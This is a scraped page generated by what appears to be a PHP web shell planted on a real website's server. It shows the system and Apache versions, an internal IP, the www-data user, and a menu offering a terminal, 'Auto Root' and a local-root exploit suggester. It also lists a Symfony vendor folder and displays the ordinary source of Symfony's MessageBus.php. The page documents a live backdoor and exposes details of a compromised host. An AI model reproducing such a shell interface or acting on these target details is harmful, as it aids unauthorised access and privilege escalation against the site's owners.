Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
messenger /
Delete
Unzip
Name
Size
Permission
Date
Action
Attribute
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DataCollector
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DependencyInjection
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
EventListener
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Handler
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Message
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Middleware
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Retry
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Stamp
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Transport
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CHANGELOG.md
16.26
KB
-rwxrwxr-x
2026-03-19 04:54
Envelope.php
3.12
KB
-rwxrwxr-x
2026-03-19 04:54
HandleTrait.php
2.25
KB
-rwxrwxr-x
2026-03-19 04:54
LICENSE
1.04
KB
-rwxrwxr-x
2026-03-19 04:54
MessageBus.php
2.51
KB
-rwxrwxr-x
2026-03-19 04:54
MessageBusInterface.php
692
B
-rwxrwxr-x
2026-03-19 04:54
README.md
1012
B
-rwxrwxr-x
2026-03-19 04:54
RoutableMessageBus.php
2.12
KB
-rwxrwxr-x
2026-03-19 04:54
TraceableMessageBus.php
3.16
KB
-rwxrwxr-x
2026-03-19 04:54
Worker.php
10.49
KB
-rwxrwxr-x
2026-03-19 04:54
WorkerMetadata.php
1.07
KB
-rwxrwxr-x
2026-03-19 04:54
composer.json
1.74
KB
-rwxrwxr-x
2026-03-19 04:54
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Messenger; use Symfony\Component\Messenger\Middleware\MiddlewareInterface; use Symfony\Component\Messenger\Middleware\StackMiddleware; /** * @author Samuel Roze <samuel.roze@gmail.com> * @author Matthias Noback <matthiasnoback@gmail.com> * @author Nicolas Grekas <p@tchwork.com> */ class MessageBus implements MessageBusInterface { private \IteratorAggregate $middlewareAggregate; /** * @param iterable<mixed, MiddlewareInterface> $middlewareHandlers */ public function __construct(iterable $middlewareHandlers = []) { if ($middlewareHandlers instanceof \IteratorAggregate) { $this->middlewareAggregate = $middlewareHandlers; } elseif (\is_array($middlewareHandlers)) { $this->middlewareAggregate = new \ArrayObject($middlewareHandlers); } else { // $this->middlewareAggregate should be an instance of IteratorAggregate. // When $middlewareHandlers is an Iterator, we wrap it to ensure it is lazy-loaded and can be rewound. $this->middlewareAggregate = new class($middlewareHandlers) implements \IteratorAggregate { private \Traversable $middlewareHandlers; private \ArrayObject $cachedIterator; public function __construct(\Traversable $middlewareHandlers) { $this->middlewareHandlers = $middlewareHandlers; } public function getIterator(): \Traversable { return $this->cachedIterator ??= new \ArrayObject(iterator_to_array($this->middlewareHandlers, false)); } }; } } public function dispatch(object $message, array $stamps = []): Envelope { $envelope = Envelope::wrap($message, $stamps); $middlewareIterator = $this->middlewareAggregate->getIterator(); while ($middlewareIterator instanceof \IteratorAggregate) { $middlewareIterator = $middlewareIterator->getIterator(); } $middlewareIterator->rewind(); if (!$middlewareIterator->valid()) { return $envelope; } $stack = new StackMiddleware($middlewareIterator); return $middlewareIterator->current()->handle($envelope, $stack); } }